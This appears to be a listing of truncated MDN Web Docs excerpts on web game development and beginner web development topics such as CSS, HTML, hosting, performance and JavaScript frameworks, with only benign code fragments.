the way a physics engine works is by creating a physical body, usually attached to a visual representation of it. this body has properties such as velocity, position, rotation, torque, etc., and also a physical shape. this shape is the one that is considered in the collision detection calculations. we have prepared a live collision detection demo ...
Building up a basic demo with Three.js - Game development
three.js, as with any other 3d library, provides built-in helper functions to help you implement common 3d functionality more quickly. in this article we'll take you through the real basics of using three, including setting up a development environment, structuring the necessary html, the fundamental objects of three, and how to build up a basic demo. note: we chose three because it is one of the most popular webgl libraries, and it is easy to get started with. ...
3D games on the Web - Game development
ke shaders, collision detection, or the latest hot topic: virtual reality on the web. shaders it's worth mentioning shaders, which are a separate story on their own. shaders use glsl, a special opengl shading language, with syntax similar to c, that is executed directly by the graphics pipeline. they can be split into vertex shaders and fragment shaders (or pixel shaders) — the former transforms shape positions to real 3d drawing coordinates, while the latter computes rendering colors and other attributes. you should definitely check out glsl shaders article to learn more about them. collision detection it's hard to imagine a game without collision detection — we always need to work out when something is hitting something else. we have information available for you to learn from: ...
Async scripts for asm.js - Game development
ut:config. putting async into action getting async compilation is easy: when writing your javascript, just use the async attribute like so: <script async src="file.js"></script> or, to do the same thing via script: var script = document.createelement('script'); script.src = "file.js"; document.body.appendchild(script); (scripts created from script default to async.) the default html shell emscripten generates produces the latter. when is async not async? two common situations in which a script is *not* async (as defined by the html spec) are: <script async>code</script> and var script = document.createelement('script'); script.innerhtml = "code"; document.body.appendchild(script); both are counted as 'inline' scripts and get compiled and then run immediately. what if your code ...
Crisp pixel art look with image-rendering - Game development
4x size 4x size (scaled with an image editor) none vendor's algorithm nearest-neighbor algorithm a css-based solution the good news is that you can use css to automatically do the up-scaling, which not only solves the blur problem, but also allows you to use the images in their original, smaller size, thus saving download time. also, some game techniques require algorithms that analyse images, which also benefit from working with smaller images. the css property to achieve this scaling is image-rendering. it is still experimental, but there is partial support in most browsers. the steps to achieve this effect are: create a <canvas> element and set its width and height attributes to the original, smaller resolution. set its css width and height properties to be...
WebRTC data channels - Game development
ver, will take advantage of some libraries that can help trivialize the work, and will demonstrate ways to use abstraction to work around implementation differences between browsers. hopefully, of course, those differences will fade away in time. using the p2p library one library you can use is the p2p library. this library provides a simple api for creating peer connections and setting up streams and data channels. there's also a broker server component and a hosted broker you can use instead of having to set one up for yourself. note: we will continue to add content here soon; there are some organizational issues to sort out. original document information author(s): alan kligman source article: webrtc data channels for great multiplayer other contributors: robert nyman copyrig...
Techniques for game development - Game development
tions, and javascript loops involving window.requestanimationframe. audio for web games audio is an important part of any game — it adds feedback and atmosphere. web-based audio is maturing fast, but there are still many browser differences to negotiate. this article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible. 2d collision detection a concise introduction to collision detection in 2d games. tilemaps tiles are a very popular technique in 2d games for building the game world. these articles provide an introduction to tilemaps and how to implement them with the canvas api. ...
Tools for game development - Game development
on this page you can find links to our game development tools articles, which eventually aims to cover frameworks, compilers, and debugging tools. asm.js asm.js is a very limited subset of the javascript language, which can be greatly optimized and run in an ahead-of-time (aot) compiling engine for much faster performance than your typical javascript performance. this is, of course, great for games. emscripten an llvm to javascript compiler; with emscripten, you can compile c++ and other languages that can compile to llvm bytecode into high-performance javascript. this is a great tool for porting applications to the web! there is a useful emscripten tutorial available on the wiki. note that we are aiming to cover emscripten in its own section of mdn. gecko profiler the gecko...
2D breakout game using pure JavaScript - Game development
ial we create a simple mdn breakout game written entirely in pure javascript and rendered on html5 <canvas>. every step has editable, live samples available to play with so you can see what the intermediate stages should look like. you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states. to get the most out of this series of articles you should already have basic to intermediate javascript knowledge. after working through this tutorial you should be able to build your own simple web games. lesson details all the lessons — and the different versions of the mdn breakout game we are building together — are available on github: create the c...
Build the brick field - Game development
60 }, padding: 10 }; } this brickinfo object will hold all the information we need: the width and height of a single brick, the number of rows and columns of bricks we will see on screen, the top and left offset (the location on the canvas where we shall start to draw the bricks) and the padding between each row and column of bricks. ...
Physics - Game development
gravity of the ball. as a result it will be launched upwards, but then fall due to the effects of gravity pulling it down. this kind of functionality is just the tip of the iceberg — there are various functions and variables that can help you manipulate the physics objects. check out the official physics documentation and see the huge collection of examples using the arcade and p2 physics systems. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps now we can move to the next lesson and see how to make the ball bounce off the walls. « previousnext » ...
Randomizing gameplay - Game development
ted: add a second ball or paddle. change the color of the background on every hit. change the images and use your own. grant extra bonus points if bricks are destroyed rapidly, several-in-a-row (or other bonuses of your choosing.) create levels with different brick layouts. be sure to check the ever growing list of examples and the official documentation, and visit the html5 gamedevs forums if you ever need any help. you could also go back to this tutorial series' index page. « previous ...
2D breakout game using Phaser - Game development
ep tutorial, we create a simple mobile mdn breakout game written in javascript, using the phaser framework. every step has editable, live samples available to play with, so you can see what the intermediate stages should look like. you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states. to get the most out of this series of articles you should already have basic to intermediate javascript knowledge. after working through this tutorial, you should be able to build your own simple web games with phaser. lesson details all the lessons — and the different versions of the mdn breakout g...
2D maze game with device orientation - Game development
el.enablebody = true; newlevel.physicsbodytype = phaser.physics.arcade; for(var e=0; e<this.leveldata[i].length; e++) { var item = this.leveldata[i][e]; newlevel.create(item.x, item.y, 'element-'+item.t); } newlevel.setall('body.immovable', true); newlevel.visible = false; this.levels.push(newlevel); } first, add.group() is used to create a new group of items. then the arcade body type is set for that group to enable physics calculations. the newlevel.create method creates new items in the group with starting left and top positions, and its own image. if you don't want to loop through the list of items again to add a property to every single one explicitly, you can use setall on a group to apply it to all the items in that group. the objects are stor...
Tutorials - Game development
hlight different workflows for effectively creating different types of web games. 2d breakout game using pure javascript in this step-by-step tutorial you'll implement a simple breakout clone using pure javascript. along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states. 2d breakout game using phaser in this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that this time you'll do it using thephaser html5 game framework. this idea here is to teach some of the fundamentals (and advantages) of working with frameworks, along with fundamental game mechanics. 2d maze game with dev...
Visual-js game engine - Game development
e rules : 1) each file in this project has its own license , be careful , do not violate the basic rules. 2) you are free to use any version of visual js library in any other project (even commercial projects) as long as the copyright header is left intact except for plugins on sale and graphics that come with them (they have special commercial licence). 3) please read the following terms and conditions before using this application: disclaimer of warranty 'visual js' is provided "as-is" and without warranty of any kind, express, implied or otherwise, including without limitation, any warranty of merchantability or fitness for a particular purpose. in no event shall the author of this software be held liable for data loss, damages, loss of profit...
Visual JS GE - Game development
in page editor found at server_instance/editor.js. build_from_editor_to_visual_js found at server_instance/build_from_editor_to_visual_js_file.js. this is a node.js app for local use. if you use editor.js to visua...
Test your skills: HTML accessibility - Learn web development
to a word document, so the user will need some kind of application installed that can handle that. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. html accessibility 4 in our final html accessibility task, you are given a simple image gallery, which has some accessibility problems. can you fix them? the header image has an accessiiblity issue, and so do the gallery images. you could take the header image further and implement it using css for arguably better accessibility. why is this better, and what would a solution look like? try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor ...
A cool-looking box - Learn web development
un we can have with css. general tasks apply the css to the html. styling the box we'd like you to style the provided <p>, giving it the following: a reasonable width for a large button, say around 200 pixels. a reasonable height for a large button, centering the text vertically in the process. centered text. a slight increase in font size, to around 17-18 pixel computed style. use rems. write a comment about how you worked out the value. a base color for the design. give the box this color as its background color. the same color for the text; make it readable using a black text shadow. a fairly subtle border radius. a 1-pixel solid border with a color similar to the base color, but a slightly darker shade. a linear semi-transparent black gradient that goes toward the botto...
Advanced styling effects - Learn web development
the second length value is the vertical offset — the distance downwards that the shadow is offset from the original box (or upwards, if the value is negative). the third length value is the blur radiu...
Backgrounds and borders - Learn web development
s when the text does not flow from left to right? ...
Handling different text directions - Learn web development
dule we will take a good look at overflow in css. ...
Test your skills: Selectors - Learn web development
f white. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. selectors four in this task try the following: make any paragraph that directly follows an h2 element red. remove the bullets and add a 1px grey bottom border only to list items that are a direct child of the ul with a class of list. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. selectors five in this final task add css using attribute selectors to do the following: target the <a> element with a title att...
Test your skills: sizing - Learn web development
note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. task one in this task, you have two boxes. ...
Test your skills: values and units - Learn web development
nnel set to .2. you can find conversions for the hex color at this link. you need to figure out how to use the values in css. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. task two in this task you need to set the size of various items of text. the <h1> should be 50 pixels. the <h2> should be 2em. all <p> elements should be 16 pixels. a <p> element that is directly after an <h1> should be 120%. try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. tas...
Test Your Skills: Fundamental layout comprehension - Learn web development
y the browser in normal flow. if you don't want to work locally then using a tool such as codepen or jsfiddle will work as well. you will need to upload the images using their assets functionality and replace the value in the src attribute to point to the new image location. your tasks you now need to implement your layout. the tasks you need to achieve are: to display the navigation items in a row, with an equal amount of space between the items. the navigation bar should scroll with the content and then become stuck at the top of the viewport when it reaches it. the image that is inside the article should have text wrapped around it. the <article> and <aside> elements should display as a two column layout. the columns should be a flexible size so that if the browser window shr...
Beginner's guide to media queries - Learn web development
er, or view the source. if you want to follow on and implement this example as we go, make a local copy of step1.html on your computer. from this point, start to drag the responsive design mode view wider until you can see that the line lengths are becoming quite long, and we have space for the navigation to display in a horizontal line. this is where we'll add our first media query. we'll use ems, as this will mean that if the user has increased their text size, the breakpoint will happen at a similar line-length but wider viewport, than someone with a smaller text size. add the below code into the bottom of your step1.html css. @media screen and (min-width: 40em) { article { display: grid; grid-template-columns: 3fr 1fr; column-gap: 20px; } nav ul {...
Normal Flow - Learn web development
prerequisites: the basics of html (study introduction to html), and an idea of how css works (study introduction to css.) objective: to explain how browsers layout web pages by default, before we begin to make changes. as detailed in the last lesson introducing layout, elements on a webpage lay out in the normal flow, if you have not applied any css to change the way they behave. ...
CSS first steps - Learn web development
litch. guides this module contains the following articles, which will take you through all the basic theory of css, and provide opportunities for you to test out some skills. what is css? css (cascading style sheets) allows you to create great-looking web pages, but how does it work under the hood? this article explains what css is, with a simple syntax example, and also covers some key terms about the language. getting started with css in this article we will take a simple html document and apply css to it, learning some practical things about the language along the way. how css is structured now that you have an idea about what css is and the basics of using it, it is time to look a little deeper into the structure of the language itself. we have already met many of the concepts...
create fancy boxes - Learn web development
if you haven't checked this out yet, you should look at the basics of layout. ...
Typesetting a community school homepage - Learn web development
when you hover or focus them, the underline disappears. remove the default focus outline from all the links on the page. give the active state a noticeably different styling so it stands out nicely, but make it still fit in with the overall page design. make it so that external links have the external link icon inserted next to them. lists: make sure the spacing of your lists and list items works well with the styling of the overall page. each list item should have the same line-height as a paragraph line, and each list should have the same spacing at its top and bottom as you have between paragraphs. give your list items a nice bullet, appropriate for the design of the page. it is up to you whether you choose a custom bullet image or something else. navigation menu: style you...
Learn to style HTML using CSS - Learn web development
de. now it's time to look at how to place your boxes in the right place in relation to the viewport, and one another. we have covered the necessary prerequisites so we can now dive deep into css layout, looking at different display settings, modern layout tools like flexbox, css grid, and positioning, and some of the legacy techniques you might still want to know about. solving common css problems use css to solve common problems provides links to sections of content explaining how to use css to solve very common problems when creating a web page. from the beginning, you'll primarily apply colors to html elements and their backgrounds; change the size, shape, and position of elements; and add and define borders on elements. but there's not much you can't do once you have a solid understa...
How do you host your website on Google App Engine? - Learn web development
cloud platform project to use google's tools for your own site or app, you need to create a new project on google cloud platform. this requires having a google account. go to the app engine dashboard on the google cloud platform console and press the create button. if you've not created a project before, you'll need to select whether you want to receive email updates or not, agree to the terms of service, and then you should be able to continue. enter a name for the project, edit your project id and note it down. for this tutorial, the following values are used: project name: gae sample site project id: gaesamplesite click the create button to create your project. creating an application each cloud platform project can contain one app engine application. let's prepar...
How does the Internet work? - Learn web development
ive learning how the internet works in 5 minutes: a 5 minute video to understand the very basics of internet by aaron titus. how does the internet work? detailed well visualized 8 minute video. deeper dive a simple network when two computers need to communicate, you have to link them, either physically (usually with an ethernet cable) or wirelessly (for example with wifi or bluetooth systems). all modern computers can sustain any of those connections. note: for the rest of this article, we will only talk about physical cables, but wireless networks work the same. such a network is not limited to two computers. you can connect as many computers as you wish. but it gets complicated quickly. if you're trying to connect, say, ten computers, you need 45 cables, with nine plugs per c...
How do you upload your files to a web server? - Learn web development
ag-and-drop them from the left pane to the right pane. are they really online? so far, so good, but are the files really online? you can double-check by going back to your website (e.g. http://demozilla.examplehostingprovider.net/) in your browser: and voilà! our website is live! rsync rsync is a local-to-remote file synchronizing tool, which is generally available on most unix-based systems (like macos and linux), but windows versions exist too. it is seen as a more advanced tool than sftp, beause by default it is used on the command line. a basic command looks like so: rsync [-options] source user@x.x.x.x:destination -options is a dash followed by a one or more letters, for example -v for verbose error messages, and -b to make backups. you can see the full list at the rsync ma...
How do I use GitHub Pages? - Learn web development
it will look something like this: note: you could also consider using a git graphical user interface to do the same work, if you feel uncomfortable with the command line. every operating system comes with a command line tool: windows: command prompt can be accessed by pressing the windows key, typing command prompt, and choosing it from the ...
What is a URL? - Learn web development
mantic urls use words with inherent meaning that can be understood by anyone, regardless of their technical know-how. linguistic semantics are of course irrelevant to computers. you've probably often seen urls that look like mashups of random characters. but there are many advantages to creating human-readable urls: it is easier for you to manipulate them. it clarifies things for users in terms of where they are, what they're doing, what they're reading or interacting with on the web. some search engines can use those semantics to improve the classification of the associated pages. ...
What is a Domain Name? - Learn web development
computer can be reached through a public ip address, either an ipv4 address (e.g. 173.194.121.32) or an ipv6 address (e.g., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). computers can handle such addresses easily, but people have a hard time finding out who's running the server or what service the website offers. ip addresses are hard to remember and might change over time. to solve all those problems we use human-readable addresses called domain names. deeper dive structure of domain names a domain name has a simple structure made of several parts (it might be one part only, two, three...), separated by dots and read from right to left: each of those parts provides specific information about the whole domain name. tld (top-level domain). tlds tell users the general purpose of the se...
What is accessibility? - Learn web development
ge desktop monitor and unlimited bandwidth? they'll go somewhere else. in general, we must think about our product from the viewpoints of all our target customers, and adapt accordingly. hence accessibility. web accessibility in the specific context of the web, accessibility means that anyone can benefit from your content, regardless of disability, location, technical limitations, or other circumstances. let's consider video: hearing impairment how does a hearing-impaired person benefit from a video? you have to provide subtitles —or even better, a full text transcript. also, make sure people can adjust the volume to accommodate their unique needs. visual impairment again, provide a text transcript that a user can consult without needing to play the video, and an audio-descriptio...
CSS property compatibility table for form controls - Learn web development
however, they will give you good insight into what can and can't be done, which will help you learn how to do things. how to read the tables values for each property, there are four possible values: yes there's reasonably consistent support for the property across browsers. you may still face strange side effects in certain edge cases. partial while the property works, you may frequently face strange side effects or inconsistencies. ...
Test your skills: Advanced styling - Learn web development
tasks, we want you to handle making a search input as consistent as possible across browsers — a trickier task than with standard text inputs, even on modern browsers. we've already provided you with a basic reset to build upon. first of all, try giving the search box a consistent width, height, padding, and border color across browsers. you'll find that some browsers will not behave in terms of the form element's height. this is due to native os styling being used in some cases. how can you remove this native styling? once you've removed the native styling, you'll need to add back one of the features it was providing, to keep same look and feel we originally had. how do you do this? one thing that is inconsistent across browsers (particularly looking at safari here) is the position...
Test your skills: Styling basics - Learn web development
note: you can try out solutions by editing the starting point file locally, however it may be helpful to put your code in an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. styling basics 1 our basic form styling assessment is fairly free-form, and you have a lot of flexibility over what you end up doing here. ...
How the Web works - Learn web development
om. in addition to the client and the server, we also need to say hello to: your internet connection: allows you to send and receive data on the web. it's basically like the street between your house and the shop. tcp/ip: transmission control protocol and internet protocol are communication protocols that define how data should travel across the internet. this is like the transport mechanisms that let you place an order, go to the shop, and buy your goods. in our example, this is like a car or a bike (or however else you might get around). dns: domain name servers are like an address book for websites. when you type a web address in your browser, the browser looks at the dns to find the website's real address before it can retrieve the website. the browser needs to find out which ser...
Publishing your website - Learn web development
ind your website, such as http://www.mozilla.org or http://www.bbc.co.uk. you can rent your domain name for as many years as you want from a domain registrar. many professional websites go online this way. in addition, you will need a file transfer protocol (ftp) program (see how much does it cost: software for more details) to actually transfer the website files over to the server. ftp programs vary widely, but generally, you have to connect to your web server using details provided by your hosting company (typically username, password, hostname). then the program shows you your local files and the web server's files in two windows, and provides a way for you to transfer files back and forth. tips for finding hosting and domains mdn does not promote specific commercial hosting com...
The web and web standards - Learn web development
developer. in this section we will describe them briefly. for a more detailed explanation of how some of them work together, read our article how the web works. browsers you are probably reading these words inside a web browser in this very moment (unless you've printed it out, or are using assistive technology, such as a screenreader to read it out to you). web browsers are the software programs people use to consume the web, and include firefox, chrome, opera, safari, and edge. http hypertext transfer protocol, or http, is a messaging protocol that allows web browsers to communicate with web servers (where web sites are stored). a typical conversation goes something like "hello web server. can you give me the files i need to render bbc.co.uk"? "sure thing web browser — here you go...
Getting started with the Web - Learn web development
red? where should content be drawn on the screen? what background images and colors should be used to decorate your website? css basics takes you through what you need to get started. javascript basics javascript is the programming language that you use to add interactive features to your website. some examples could be games, things that happen when buttons are pressed or data is entered in forms, dynamic styling effects, animation, and much more. javascript basics gives you an idea of what is possible with this exciting language, and how to get started. publishing your website once you have finished writing the code and organizing the files that make up your website, you need to put it all online so people can find it. publishing your sample code describes how to get your simple sample...
Using data attributes - Learn web development
sn’t have any visual representation. just use data attributes for that: <article id="electric-cars" data-columns="3" data-index-number="12314" data-parent="cars"> ... </article> javascript access reading the values of these attributes out in javascript is also very simple. you could use getattribute() with their full html name to read them, but the standard defines a simpler way: a domstringmap you can read out via a dataset property. to get a data attribute through the dataset object, get the property by the part of the attribute name after data- (note that dashes are converted to camelcase). const article = document.queryselector('#electric-cars'); article.dataset.columns // "3" article.dataset.indexnumber // "12314" article.dataset.parent // "cars" each property is a stri...
Marking up a letter - Learn web development
email) should be marked up with strong importance. the four dates in the document should be have appropriate elements containing machine-readable dates. the first address and first date in the letter should have a class attribute value of sender-column. the css you'll add later will cause these to be right aligned, as it should be in the case in a classic letter layout. mark up the five acronyms/abbreviations in the main text of the letter to provide expansions of each acronym/abbreviation. the six sub/superscripts should be marked up appropriately — in the chemical formulae, and the numbers 103 and 104 (they should be 10 to the power of 3 and 4, respectively). try to mark up at least two appropriate words in the text with strong importance/emphasis. there are two places where the ...
Structuring a page of content - Learn web development
s to take the content for the homepage of a bird watching website and add structural elements to it so it can have a page layout applied to it. it needs to have: a header spanning the full width of the site containing the main title for the page, the site logo, and the navigation menu. the title and logo appear side by side once styling is applied, and the navigation appears below those two items. a main content area containing two columns — a main block to contain the welcome text, and a sidebar to contain image thumbnails. a footer containing copyright information and credits. you need to add a suitable wrapper for: the header the navigation menu the main content the welcome text the image sidebar the footer you should also: apply the provided css to the page by addin...
Test your skills: Advanced HTML text - Learn web development
ate the finished example: download the starting point for this task to work in your own editor or in an online editor. advanced html text 2 in this task we want you to add some semantics to the provided html as follows: turn the second paragraph into a block-level quote, and semantically indicate that the quote is taken from accessibility. semantically mark up "html" and "css" as acronyms, providing expansions as tooltips. semantically associate machine-readable dates with the dates in the text. use subscript and superscript to provide correct semantics for the chemical formulae and dates, and make them display correctly. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online e...
Introduction to HTML - Learn web development
(most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles, which will take you through all the basic theory of html and provide ample opportunity for you to test out some skills. getting started with html covers the absolute basics of html, to get you started — we define elements, attributes, and other important terms, and show where they fit in the language. we also show how a typical html page is structured and how an html element is structured, and explain other important basic language features. along the way, we'll play with some html to get you interested! what’s in the head? metadata in html the head of an html document is the part that is not displayed in the web browser when the page is loaded. it...
Mozilla splash page - Learn web development
t or further help section at the bottom of this page. note: the example html file contains quite a lot of css, to style the page. you don't need to touch the css, just the html inside the <body> element — as long as you insert the correct markup, the styling will make it look correct. project brief in this assessment we are presenting you with a mostly-finished mozilla splash page, which aims to say something nice and interesting about what mozilla stands for, and provide some links to further resources. unfortunately, no images or video have been added yet — this is your job! you need to add some media to make the page look nice and make more sense. the following subsections detail what you need to do: preparing images using your favourite image editor, create 400px wide and 120p...
Structuring the web with HTML - Learn web development
edia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic table markup, along with more complex features such as implementing captions and summaries. solving common html problems use html to solve common problems provides links to sections of content explaining how to use html to solve very common problems when creating a webpage: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc. ...
Asynchronous JavaScript - Learn web development
or glitch. guides general asynchronous programming concepts in this article we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascript. you should understand these concepts before working through the other articles in the module. introducing asynchronous javascript in this article we briefly recap the problems associated with sychronous javascript, and take a first look at some of the different asynchronous javascript techniques you'll encounter, showing how they can help us solve such problems. cooperative asynchronous javascript: timeouts and intervals here we look at the traditional methods javascript has available for running code asychronously after a set time period has elapsed, or at a regular...
Test your skills: Loops - Learn web development
ia javascript. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions. a good starting place is our manipulating documents tutorial. loops 1 in our first looping task we want you start by creating a simple loop that goes through all the items in the provided myarray and prints them out on the screen inside list items (i.e., <li> elements), which are appended to the provided list. download the starting point for this task to work in your own editor or in an online editor. loops 2 in this next task, we want you to write a simple program that, given a name, searches an array of objects containing names and phone numbers (phonebook) ...
Client-side web APIs - Learn web development
ect model (dom), a set of apis for controlling html and styling information that makes heavy use of the document object. in this article, we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways. fetching data from the server another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entirely new page. this seemingly small detail has had a huge impact on the performance and behavior of sites. in this article, we'll explain the concept, and look at technologies that make it possible, such as xmlhttprequest and the fetch api. third party apis the apis we've covered so far are built into the browser, bu...
Silly story generator - Learn web development
e top of the main.js file. this gives you three variables that store references to the "enter custom name" text field (customname), the "generate random story" button (randomize), and the <p> element at the bottom of the html body that the story will be copied into (story), respectively. in addition you've got a function called randomvaluefromarray() that takes an array, and returns one of the items stored inside the array at random. now look at the second section of the raw text file — "2. raw text strings". this contains text strings that will act as input into our program. we'd like you to contain these inside variables inside main.js: store the first, big long, string of text inside a variable called storytext. store the first set of three strings inside an array called inser...
Useful string methods - Learn web development
e solution, so that solution is not saved over the user code if(solution.value === 'show solution') { userentry = textarea.value; } else { solutionentry = textarea.value; } updatecode(); }; making new strings from old parts in this last exercise, the array contains a bunch of strings containing information about train stations in the north of england. the strings are data items that contain the three-letter station code, followed by some machine-readable data, followed by a semicolon, followed by the human-readable station name. for example: man675847583748sjt567654;manchester piccadilly we want to extract the station code and name, and put them together in a string with the following structure: man: manchester piccadilly we'd recommend doing it like this: extrac...
Test your skills: Object basics - Learn web development
red members are: name: a string representing the band name. nationality: a string representing the country the band comes from. genre: what type of music the band plays. members: a number representing the number of members the band has. formed: a number representing the year the band formed. split: a number representing the year the band split up, or false if they are still together. albums: an array representing the albums released by the band. each array item should be an object containing the following members: name: a string representing the name of the album. released: a number representing the year the album was released. include at least two albums in the albums array. once you've done this, you should then write a string to the variable bandinfo, which wi...
CSS performance optimization - Learn web development
ss, is much smaller, reducing the time that rendering is blocked. animating on the gpu browsers are optimized to handle css animations, and handle animating properties that do not trigger a reflow (and therefore also a repaint) very well. to improve performance, the node being animated can be moved off the main thread and onto the gpu. properties that will lead to compositing include 3d transforms (transform: translatez(), rotate3d(), etc.), animating transform and opacity, position: fixed, will-change, and filter. some elements, including <video>, <canvas> and <iframe>, are also on their own layer. when an element is promoted as a layer, also known as composited, animating transform properties is done in the gpu, resulting in improved performance, especially on mobile. will-change proper...
Measuring performance - Learn web development
the metrics you choose to measure should be relevant to your users, site, and business goals. ...
What is web performance? - Learn web development
use? is the scrolling smooth? are buttons clickable? are pop-ups quick to open up, and do they animate smoothly as they do so? there are a lot of best practices to consider in making apps feel smooth, for example using css animations rather than javascript for animation, and minimizing the number of repaints the ui requires due to changes in the dom. perceived performance: how fast a website seems to the user has a greater impact on user experience than how fast the website actually is. how a user perceives your performance is as important, or perhaps more important, than any objective statistic, but it's subjective, and not as readily measurable. perceived performance is user perspective, not a metric. even if an operation is going to take a long time (because of latency or whatever), it ...
The business case for web performance - Learn web development
hreshold over a period of time.the budget reflects reachable goals; whehter they are time, quantity, or rule based. definining and promoting a budget helps performance proponent advocates for good user experience against competing interests, such as marketing, sales, or even other developers that may want to add videos, 3rd party scripts, or even frameworks. performance budgets help developer teams protect optimal performane for users while enabling the business to tap into new markets and deliver custom experiences. key performance indicators setting key performance indicators (kpi) as objectives can hiltie performance objectives that are also business objectives. kpis can be both a set of important business metrics in measuring the impact of user experience and performance on the busine...
Multimedia: video - Learn web development
<!-- mpeg-4/h.264: 12 mb --> <source src="video.mp4" type="video/mp4" /> <!-- ogg/theora: 13 mb --> <source src="video.ogv" type="video/ogv" /> </video> the browser downloads the first format it understands. the goal is to offer smaller versions ahead of larger versions. with the smallest version, make sure that the most compressed video still looks good. there are some compression algorithms that can make video look (bad) like an animated gif. while a 128 kb video may seem like it could provide a better user experience than a 10 mb download, a grainy gif-like video may reflect poorly on the brand or project. see caniuse.com for current browser support of video and other media types. video autoplay to ensure that a looping background video autoplays, you must add several attribut...
Web performance - Learn web development
that impact performance and suggested ways of handling styles to ensure performance is not negatively impacted. fonts and performance a look at whether you need to include external fonts and, if you do, how to include the fonts your design requires with the least impact on your sites performance. mobile performance with web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, cpu and battery life, it is important to consider the performance of your web content on these platforms. this article looks at mobile-specific performance considerations. focusing on performance there are many different things a developer can do to improve performance, but how fast is fast enough? how can you convince powers th...
Ember app structure and componentization - Learn web development
f application.hbs should be updated so that they call the appropriate components, like so: <section class="todoapp"> <h1>todos</h1> <header /> <todolist /> <footer /> </section> with these changes made, run npm start in your terminal again, then head over to http://localhost:4200 to ensure that the todo app still looks as it did before the refactor. notice how the todo items both say "buy movie tickets" — this is because the same component is being invoked twice, and the todo text is hardcoded into it. we'll look at showing different todo items in the next article! summary great! everything looks as it should. we have successfully refactored our html into components! in the next article we'll start looking into adding interactivity to our ember application. ...
Componentizing our React app - Learn web development
remember that each task we map over has the id, name, and checked properties we want to pass into our <todo /> component. if we put that knowledge together, we get code like this: const tasklist = props.tasks.map(task => ( <todo id={task.id} name={task.name} completed={task.completed} /> )); now the app looks like it did before, and our code is less repetitive. unique keys now that r...
React interactivity: Editing, filtering, conditional rendering - Learn web development
ting to false so that it switches us back to the view template. update the "cancel" button in the edittemplate like so: <button type="button" classname="btn todo-cancel" onclick={() => setediting(false)} > cancel <span classname="visually-hidden">renaming {props.name}</span> </button> with this code in place, you should be able to press the "edit" and "cancel" buttons in your todo items to toggle between templates. the next step is to actually make the editing functionality work. editing from the ui much of what we're about to do will mirror the work we did in form.js: as the user types in our new input field, we need to track the text they enter; once they submit the form, we need to use a callback prop to update our state with the new name of the task. we'll start by m...
React resources - Learn web development
for the things that are rendered from arrays. on the right, we see the props and hooks that our app component utilizes. notice, too, that the form, filterbutton, and todo components are indented to the right – this indicates that app is their parent. in more complex apps, this view is great for understanding parent/child relationships at a glance. react devtools is available in a number of forms: a chrome browser extension. a firefox browser extension. a chromium edge browser extension (available soon). a stand-alone application you can install with npm or yarn. try installing one of these, then using it to inspect the app you’ve just built! you can read more about react devtools on the react blog. the context api the application that we built in this tutorial utilized compo...
Beginning our React todo list - Learn web development
out scott o'hara’s article, “fixing lists”. the aria-labelledby attribute tells assistive technologies that we're treating our list heading as the label that describes the purpose of the list beneath it. making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it. finally, the labels and inputs in our list items have some attributes unique to jsx: <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> the defaultchecked attribute in the <input/ > tag tells react to check this checkbox initially. if we were to use checked, as we would in regular html, react would log some warnings into our browser console relating to handling events on...
Deployment and next steps - Learn web development
e's part 1, part 2, and part 3. interacting with the community there are a number of different ways to get support and interact with the svelte community: svelte.dev/chat: svelte's discord server. @sveltejs: the official twitter account. @sveltesociety: svelte community twitter account. svelte recipes: community-driven repository of recipes, tips, and best practices to solve common problems. svelte questions on stackoverflow: questions with the svelte tag at so. svelte reddit community: svelte community discussion and content rating site at reddit. svelte dev community: a collection of svelte-related technical articles and tutorials from the dev.to community. finito congratulations! you have completed the svelte tutorial. in the previous articles we went from zero knowledge ab...
Vue resources - Learn web development
by pressing ctrl + c in the terminal. next, run the npm run build (or yarn build) in the console. this will create a new dist directory containing all of your production ready files. to publish your site to the web, copy the contents of this folder to your hosting environment. note: the vue cli docs also include a specific guide on how to publish your app to many of the common hosting platforms. vue 3 vue 3 is a major release of the framework with a lot of major changes. it went into active beta in april, 2020. the biggest change is a new composition api that works as an alternative to the current property-based api. in this new api, a single setup() function is used on the component. only what you return from this function is available in your <template>s. you are required to be exp...
Understanding client-side web development tools - Learn web development
we finish up by providing a complete toolchain example showing you how to get productive. get started now, with our "client-side tooling overview" prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here. ...
Accessibility/LiveRegionDevGuide
